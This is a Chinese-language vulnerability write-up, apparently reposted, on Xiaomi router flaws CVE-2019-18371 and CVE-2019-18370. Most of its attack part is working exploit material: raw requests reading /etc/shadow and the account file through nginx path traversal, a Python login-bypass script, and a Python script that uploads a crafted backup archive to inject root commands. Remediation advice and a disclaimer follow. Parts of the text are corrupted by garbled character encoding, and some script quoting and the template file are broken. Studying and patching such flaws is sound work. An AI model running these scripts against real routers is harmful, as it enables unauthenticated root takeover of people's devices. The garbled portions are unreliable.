一、漏洞描述
小米路由器是一款高配的智能路由器,具備強(qiáng)大的擴(kuò)展,并且具備高速傳輸?shù)奶攸c(diǎn),其傳輸速度最高可以達(dá)到866M,相比普通150M/300M的普通無(wú)線路由器具備更高無(wú)線傳輸速率。小米路由器系統(tǒng)存在任意文件讀取漏洞和遠(yuǎn)程命令執(zhí)行漏洞,攻擊者通過該漏洞可以獲取服務(wù)器權(quán)限,導(dǎo)致服務(wù)器失陷。
二、漏洞復(fù)現(xiàn)
系統(tǒng)首頁(yè)地址及頁(yè)面顯示如下
?
?http://xx.xx.xx.xx/cgi-bin/luci/web
?
?
1、遠(yuǎn)程任意文件讀取漏洞(CVE-2019-18371)
小米路由器的nginx配置文件錯(cuò)誤,導(dǎo)致目錄穿越漏洞,實(shí)現(xiàn)任意文件讀?。o(wú)需登錄)
nginx配置不當(dāng)可導(dǎo)致目錄穿越漏洞,
?
location /xxx { alias /abc/; }
?
可通過訪問http://domain.cn/xxx../etc/passwd實(shí)現(xiàn)目錄穿越訪問上級(jí)目錄及其子目錄文件。
在小米路由器的文件/etc/sysapihttpd/sysapihttpd.conf中,存在
?
location /api-third-party/download/extdisks { alias /extdisks/; }
?
故可以任意文件讀取根目錄下的所有文件,而且是root權(quán)限,如訪問http://xx.xx.xx.xx/api-third-party/download/extdisks../etc/shadow
類似的問題,存在多處如
?
location /backup/log { alias /tmp/syslogbackup/; } location /api-third-party/download/public { alias /userdisk/data/; } location /api-third-party/download/private { alias /userdisk/appdata/; }
?
通過任意文件讀取,登錄路由器后臺(tái)
不是明文存儲(chǔ)密碼,需要進(jìn)行一定分析。關(guān)注兩個(gè)過程,一是登錄時(shí)前端js生成http post請(qǐng)求參數(shù)過程,二是驗(yàn)證用戶登陸的后端過程。
登錄時(shí)前端js生成http post請(qǐng)求參數(shù)過程
?
var Encrypt = {
key: 'a2ffa5c9be07488bbb04a3a47d3c5f6a',
iv: '64175472480004614961023454661220',
nonce: null,
init: function(){
var nonce = this.nonceCreat();
this.nonce = nonce;
return this.nonce;
},
nonceCreat: function(){
var type = 0;
// 自己的mac地址
var deviceId = '<%=mac%>';
var time = Math.floor(new Date().getTime() / 1000);
var random = Math.floor(Math.random() * 10000);
return [type, deviceId, time, random].join('_');
},
oldPwd : function(pwd){ // oldPwd = sha1(nonce + sha1(pwd + 'a2ffa5c9be07488bbb04a3a47d3c5f6a'))
return CryptoJS.SHA1(this.nonce + CryptoJS.SHA1(pwd + this.key).toString()).toString();
},
//...
};
?
可知oldPwd = sha1(nonce + sha1(pwd + 'a2ffa5c9be07488bbb04a3a47d3c5f6a')),登陸請(qǐng)求包為
?
POST /cgi-bin/luci/api/xqsystem/login HTTP/1.1 Host: xx.xx.xx.xx username=admin&password=c9e62da7b8a0b7a4918c5a90912ba81a9717f9ab&logtype=2&nonce=0_mac地址_時(shí)間戳_5248
?
驗(yàn)證用戶登陸的后端過程
調(diào)用XQSecureUtil.checkUser函數(shù)
?
function checkUser(user, nonce, encStr)
-- 從xiaoqiang 配置文件中讀取信息
local password = XQPreference.get(user, nil, "account")
if password and not XQFunction.isStrNil(encStr) and not XQFunction.isStrNil(nonce) then
if XQCryptoUtil.sha1(nonce..password) == encStr then
return true
end
end
XQLog.log(4, (luci.http.getenv("REMOTE_ADDR") or "").." Authentication failed", nonce, password, encStr)
return false
end
?
跟進(jìn)XQPreference.get函數(shù)可以知道是從/etc/config/account文件中讀取某個(gè)字符串,這里稱它為accountStr。
checkUser函數(shù)判斷等式為(encStr為參數(shù)oldPwd)
?
sha1(nonce + sha1(密碼 + 'a2ffa5c9be07488bbb04a3a47d3c5f6a')) == sha1(nonce + accountStr)
?
則
?
accountStr == sha1(密碼 + 'a2ffa5c9be07488bbb04a3a47d3c5f6a')
?
故,只需要讀取/etc/config/account得到accountStr即可構(gòu)造如下數(shù)據(jù)包登陸
?
POST /cgi-bin/luci/api/xqsystem/login HTTP/1.1 Host: xx.xx.xx.xx username=admin&password=sha1(nonce + account中保存的字符串)&logtype=2&nonce=0_mac地址_時(shí)間戳_5248
?
先執(zhí)行任意文件讀取POC,讀取etc/shadow文件,驗(yàn)證漏洞的存在,在響應(yīng)中將會(huì)得到回顯
?
GET /api-third-party/download/extdisks../etc/shadow HTTP/1.1 Host: xx.xx.xx.xx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0 Accept-Encoding: gzip, deflate Connection: close
?

然后讀取/etc/config/account得到accountStr即可構(gòu)造數(shù)據(jù)包登陸

實(shí)現(xiàn)任意登陸POC如下
arbitrary_file_read_vulnerability.py
?
#!/usr/bin/python import os import re import time import base64 import random import hashlib import requests from Crypto.Cipher import AES proxies = {"http":"http://127.0.0.1:8080"} def get_mac(): ## get mac r0 = requests.get("http://xx.xx.xx.xx/cgi-bin/luci/web",proxies = proxies) mac = re.findall(r'deviceId = '(.*?)'', r0.text)[0] # print(mac) return mac def get_account_str(): ## read /etc/config/account r1 = requests.get("http://xx.xx.xx.xx/api-third-party/download/extdisks../etc/config/account",proxies = proxies) print(r1.text) account_str = re.findall(r'admin'? '(.*)'', r1.text)[0] return account_str def create_nonce(mac): type_ = 0 deviceId = mac time_ = int(time.time()) rand = random.randint(0,10000) return "%d_%s_%d_%d"%(type_, deviceId, time_, rand) def calc_password(nonce, account_str): m = hashlib.sha1() m.update((nonce + account_str).encode('utf-8')) return m.hexdigest() mac = get_mac() account_str = get_account_str() ## login, get stok nonce = create_nonce(mac) password = calc_password(nonce, account_str) data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password,nonce=nonce) r2 = requests.post("http://xx.xx.xx.xx/cgi-bin/luci/api/xqsystem/login", data = data, headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"},proxies = proxies) # print(r2.text) stok = re.findall(r'"token":"(.*?)"',r2.text)[0] print("stok="+stok)
?
可以獲取到登錄的stok。

2、遠(yuǎn)程命令執(zhí)行漏洞(root權(quán)限)(CVE-2019-18370)
備份文件是tar.gz格式的,上傳后tar zxf解壓,所以構(gòu)造備份文件,可以控制解壓目錄的文件內(nèi)容,結(jié)合測(cè)試上傳下載速度功能的sh腳本執(zhí)行時(shí)讀取測(cè)試url列表文件,并將url部分直接進(jìn)行命令拼接執(zhí)行。
備份文件解壓導(dǎo)致/tmp/目錄任意文件可控
在/usr/lib/lua/luci/controller/api/misystem.lua中,配置文件功能如下
?
function cUpload()
local LuciFs = require("luci.fs")
local XQBackup = require("xiaoqiang.module.XQBackup")
local code = 0
local canupload = true
local uploadFilepath = "/tmp/cfgbackup.tar.gz"
local fileSize = tonumber(LuciHttp.getenv("CONTENT_LENGTH"))
if fileSize > 102400 then
canupload = false
end
LuciHttp.setfilehandler(
function(meta, chunk, eof)
if canupload then
if not fp then
if meta and meta.name == "image" then
fp = io.open(uploadFilepath, "w")
end
end
if chunk then
fp:write(chunk)
end
if eof then
fp:close()
end
else
code = 1630
end
end
)
if LuciHttp.formvalue("image") and fp then
code = 0
end
local result = {}
if code == 0 then
local ext = XQBackup.extract(uploadFilepath)
if ext == 0 then
result["des"] = XQBackup.getdes()
else
code = 1629
end
end
if code ~= 0 then
result["msg"] = XQErrorUtil.getErrorMessage(code)
LuciFs.unlink(uploadFilepath)
end
result["code"] = code
LuciHttp.write_json(result)
end
?
其中調(diào)用XQBackup.extract(uploadFilepath)進(jìn)行解壓
?
-- 0:succeed
-- 1:file does not exist
-- 2:no description file
-- 3:no mbu file
function extract(filepath)
local fs = require("nixio.fs")
local tarpath = filepath
if not tarpath then
tarpath = TARMBUFILE
end
if not fs.access(tarpath) then
return 1
end
os.execute("cd /tmp; tar -xzf "..tarpath.." >/dev/null 2>/dev/null")
os.execute("rm "..tarpath.." >/dev/null 2>/dev/null")
if not fs.access(DESFILE) then
return 2
end
if not fs.access(MBUFILE) then
return 3
end
return 0
end
?
可知,/tmp目錄下的任意文件可控
/usr/bin/upload_speedtest,/usr/bin/download_speedtest等會(huì)讀取/tmp/speedtest_urls.xml并提取url直接進(jìn)行命令拼接,且這幾個(gè)腳本可以通過web接口調(diào)用
舉例,查看/usr/bin/download_speedtest文件
?
#!/usr/bin/env lua
-- ...
local cfg = {
-- ...
['xmlfile'] = "/usr/share/speedtest.xml",
['tmp_speedtest_xml'] = "/tmp/speedtest_urls.xml",
}
VERSION="__UNDEFINED__"
-- ...
-- 測(cè)試網(wǎng)速使用的url文件為,若存在/tmp/speedtest_urls.xml則使用,否則用/usr/share/speedtest.xml
local filename = ""
filexml = io.open(cfg.tmp_speedtest_xml)
if filexml then
filexml:close()
filename = cfg.tmp_speedtest_xml
else
filename = cfg.xmlfile
end
local pp = io.open(filename)
local line = pp:read("*line")
local size = 0
local resources = {}
local u = ""
local pids = {}
-- ...
function wget_work(url)
local _url = url
pid = posix.fork()
if pid < 0 then
print("fork error")
return -1
elseif pid > 0 then
--print(string.format("child pid %d
", pid))
else
-- 拼接命令,最終在這里執(zhí)行
os.execute('for i in $(seq '.. math.floor(cfg.nr/cfg.nc) ..'); do wget '.. url ..
" -q -O /dev/null; done")
end
return pid
end
while line do
-- 從文件中提取url, 這里提取沒有進(jìn)行過濾
local _, _, url = string.find(line,' ')
if url then
table.insert(resources, url)
end
line = pp:read("*line")
end
pp:close()
local urls = mrandom(1, table.getn(resources), cfg.nc)
for k, v in ipairs(urls) do
if VERSION == "LESSMEM" then
local pid = wget_work_loop(resources[v])
else
-- VERSION 為 __UNDEFINED__, url直接作為參數(shù)
local pid = wget_work(resources[v])
end
if(pid == 0) then
os.exit(0)
elseif(pid == -1) then
done()
end
end
?
調(diào)用的地方貌似有好幾個(gè),其中/usr/lib/lua/luci/controller/api/xqnetdetect.lua中
?
function netspeed()
local XQPreference = require("xiaoqiang.XQPreference")
local XQNSTUtil = require("xiaoqiang.module.XQNetworkSpeedTest")
local code = 0
local result = {}
local history = LuciHttp.formvalue("history")
if history then
result["bandwidth"] = tonumber(XQPreference.get("BANDWIDTH", 0, "xiaoqiang"))
result["download"] = tonumber(string.format("%.2f", 128 * result.bandwidth))
result["bandwidth2"] = tonumber(XQPreference.get("BANDWIDTH2", 0, "xiaoqiang"))
result["upload"] = tonumber(string.format("%.2f", 128 * result.bandwidth2))
else
os.execute("/etc/init.d/miqos stop")
-- 這里調(diào)用了downloadSpeedTest
local download = XQNSTUtil.downloadSpeedTest()
if download then
result["download"] = download
result["bandwidth"] = tonumber(string.format("%.2f", 8 * download/1024))
XQPreference.set("BANDWIDTH", tostring(result.bandwidth), "xiaoqiang")
else
code = 1588
end
if code ~= 0 then
result["msg"] = XQErrorUtil.getErrorMessage(code)
end
os.execute("/etc/init.d/miqos start")
end
result["code"] = code
LuciHttp.write_json(result)
end
function downloadSpeedTest()
local speedtest = "/usr/bin/download_speedtest"
local speed
-- 直接調(diào)用sh文件
for _, line in ipairs(LuciUtil.execl(speedtest)) do
if not XQFunction.isStrNil(line) and line:match("^avg rx:") then
speed = line:match("^avg rx:(%S+)")
if speed then
speed = tonumber(string.format("%.2f",speed/8))
end
break
end
end
return speed
end
?
所以,我們只需要構(gòu)造惡意的speedtest_urls.xml文件,構(gòu)造備份文件,上傳備份文件,然后調(diào)用網(wǎng)絡(luò)測(cè)試相關(guān)的接口,即可以實(shí)現(xiàn)命令注入。
實(shí)現(xiàn)命令執(zhí)行POC
template.xml文件
?
?
remote_command_execution_vulnerability.py
?
#!/usr/bin/python
import os
import tarfile
import requests
proxies = {"http":"http://127.0.0.1:8080"}
## get stok
stok = input("stok: ")
## make config file
command = input("command: ")
speed_test_filename = "speedtest_urls.xml"
with open("template.xml","rt",encoding='gb18030', errors='ignore') as f:
template = f.read()
data = template.format(command=command)
# print(data)
with open("speedtest_urls.xml",'wt') as f:
f.write(data)
with tarfile.open("payload.tar.gz", "w:gz") as tar:
# tar.add("cfg_backup.des")
# tar.add("cfg_backup.mbu")
tar.add("speedtest_urls.xml")
## upload config file
print("start uploading config file ...")
r1 = requests.post("http://xx.xx.xx.xx/cgi-bin/luci/;stok={}/api/misystem/c_upload".format(stok), files={"image":open("payload.tar.gz",'rb')}, proxies=proxies)
# print(r1.text)
## exec download speed test, exec command
print("start exec command...")
r2 = requests.get("http://xx.xx.xx.xx/cgi-bin/luci/;stok={}/api/xqnetdetect/netspeed".format(stok), proxies=proxies)
# print(r2.text)
## read result file
r3 = requests.get("http://xx.xx.xx.xx/api-third-party/download/extdisks../tmp/1.txt", proxies=proxies)
if r3.status_code == 200:
print("success, vul")
print(r3.text)
?
結(jié)合二者,無(wú)需登錄即可遠(yuǎn)程命令執(zhí)行

經(jīng)測(cè)試,在小米系列路由器中存在該漏洞,如小米路由器R3G、小米路由器R3A、小米路由器R4等
三、修復(fù)方案
1、任意文件讀取
將/etc/sysapihttpd/sysapihttpd.conf中的形如以下形式修改為
?
location /xxx {
alias /abc/;
}
?
修改為
?
location /xxx/ {
alias /abc/;
}
?
2、遠(yuǎn)程命令執(zhí)行
將備份文件格式修改為特定格式,直接讀取備份文件內(nèi)容,而不需使用解壓
從speedtest_urls.xml中讀取url時(shí),進(jìn)行必要的過濾,防止命令注入
文章作者 守衛(wèi)者安全 ,在此特別鳴謝。
聲明?? 安全技術(shù)類文章僅供參考,此文所提供的信息僅針對(duì)漏洞靶場(chǎng)進(jìn)行滲透,未經(jīng)授權(quán)請(qǐng)勿利用文章內(nèi)的相關(guān)技術(shù)從事非法測(cè)試,如因此產(chǎn)生的一切不良后果與文章作者和本公眾號(hào)無(wú)關(guān)。?本文所提供的工具僅用于學(xué)習(xí),禁止用于其他目的,推薦大家在了解技術(shù)原理的前提下,更好的維護(hù)個(gè)人信息安全、企業(yè)安全、國(guó)家安全。
電子發(fā)燒友App













評(píng)論